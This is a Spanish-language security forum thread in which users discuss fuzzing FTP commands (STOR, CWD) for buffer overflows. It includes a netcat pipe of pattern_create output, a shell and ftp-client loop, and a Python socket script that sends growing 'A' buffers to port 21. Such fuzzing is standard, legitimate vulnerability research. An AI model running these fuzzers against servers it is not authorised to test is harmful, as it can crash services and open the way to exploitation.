Fuzzing con NetCat, pregunta.

Iniciado por RocKHounD, 7 Febrero 2011, 09:45 AM

0 Miembros y 1 Visitante están viendo este tema.

RocKHounD

Buenas a todos,

.../pattern_create.rb 1024 | nc 192.168.1.222 5369


En este ejemplo inyecto 1024 con netcat al puerto remoto 5369, pero... cuando el servicio es ftp y quiero meter algo en CWD o STOR?? como se haría con NetCat???

Gracias!!!



Breaking The Code
http://btcode.blogspot.com

RocKHounD

chicos me gustaría saber si esto puede hacerse o tengo que programarme algo especificamente en python por ejemplo, me gusta mucho netcat.

gracias.
Breaking The Code
http://btcode.blogspot.com

ikary

#2
Hola RockHounD, nunca se me habia ocurrido hacer fuzzing asi  ;-) Pero creo que no te va a funcionar.
A mi modo de ver puedes hacer 2 cosas (entiendo que la pregunta es contra servicios FTP):

1- Crear un script que lance un cliente FTP repetidas veces con comandos y longitudes de cadena variables.
   - Con linux puedes hacerlo con un script en sh, mas o menos algo asi:
Citar#!/bin/sh
USUARIO="tu-usuario"
PASS="tu-password"
SERVIDOR="ip.de.tu.servidor"

# Variable en la que introduces el comando

VARIABLE=$(python -c 'print "a"*2000')

# Logueo automatico en el servidor remoto
ftp -n -i $SERVIDOR <<EOF
user $USUARIO $PASS
ascii STOR $VARIABLE
quit
EOF
Esto con un bucle 'for' podria servir.

   - En Windows, mas de lo mismo, pero en este caso puedes aprovechar el comando -s:file del cliente ftp de Windows para automatizar el proceso. Solo debes crearte un fichero de texto con el nombre de usuario, contraseña, comando a utilizar y quit ( en ese orden) y pasarselo al cliente ftp asi:
># ftp -s:tu_archivo.txt 192.168.0.3
Esto lo metes en un bucle 'for' en batchscript y ya tienes un fuzzer. ;D

2- Sin duda la mejor opcion XDD
  - Create un script en Python o en Perl que te permita automatizar el proceso. Aqui te dejo uno modificado en python:
Citar#!/usr/bin/python
import socket

#Crea un array de buffers, desde 20 hasta 2000, incremento de 20
buffer=["A"]
contador=20
while len(buffer) <= 30:
   buffer.append("A"*contador)
   contador=contador+50

# Define los comandos FTP a intentar explotar

comandos=["STOR","CWD"] #<-- Aqui puedes poner los comandos que quieras ir probando

# Inicializa el loop

for comandos in comandos:
   for string in buffer:
      print "Enviando comando " + comandos + " con " +str(len(string)) + " bytes"
      s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      connect=s.connect(('tu_ip',21)) # IP y Puerto
      s.recv(1024)
      s.send('USER tu_usuario\r\n') # Usuario
      s.recv(1024)
      s.send('PASS tu_pass\r\n') # contraseña
      s.recv(1024)
      s.send(comandos + ' ' + string + '\r\n') # buffer malvado (risa diabolica)
      s.recv(1024)
      s.send('QUIT\r\n')
      s.close()

Modificando las partes en rojo te debería funcionar bien.

Bueno, espero que te sirva de algo, si te piedes en algo comenta  :rolleyes:

Un salduo

PD: Edito por que soy un inutil y no puse bien los colores XDD

RocKHounD

jajajja gracias ikary, seguiré investigando eso, en python ya lo tengo porque en el PWB es como lo hacen pero yo miro siempre para donde no tengo que mirar y me lio con todo, jajaj a


probaré si funciona y te cuento.

Gracias!
Breaking The Code
http://btcode.blogspot.com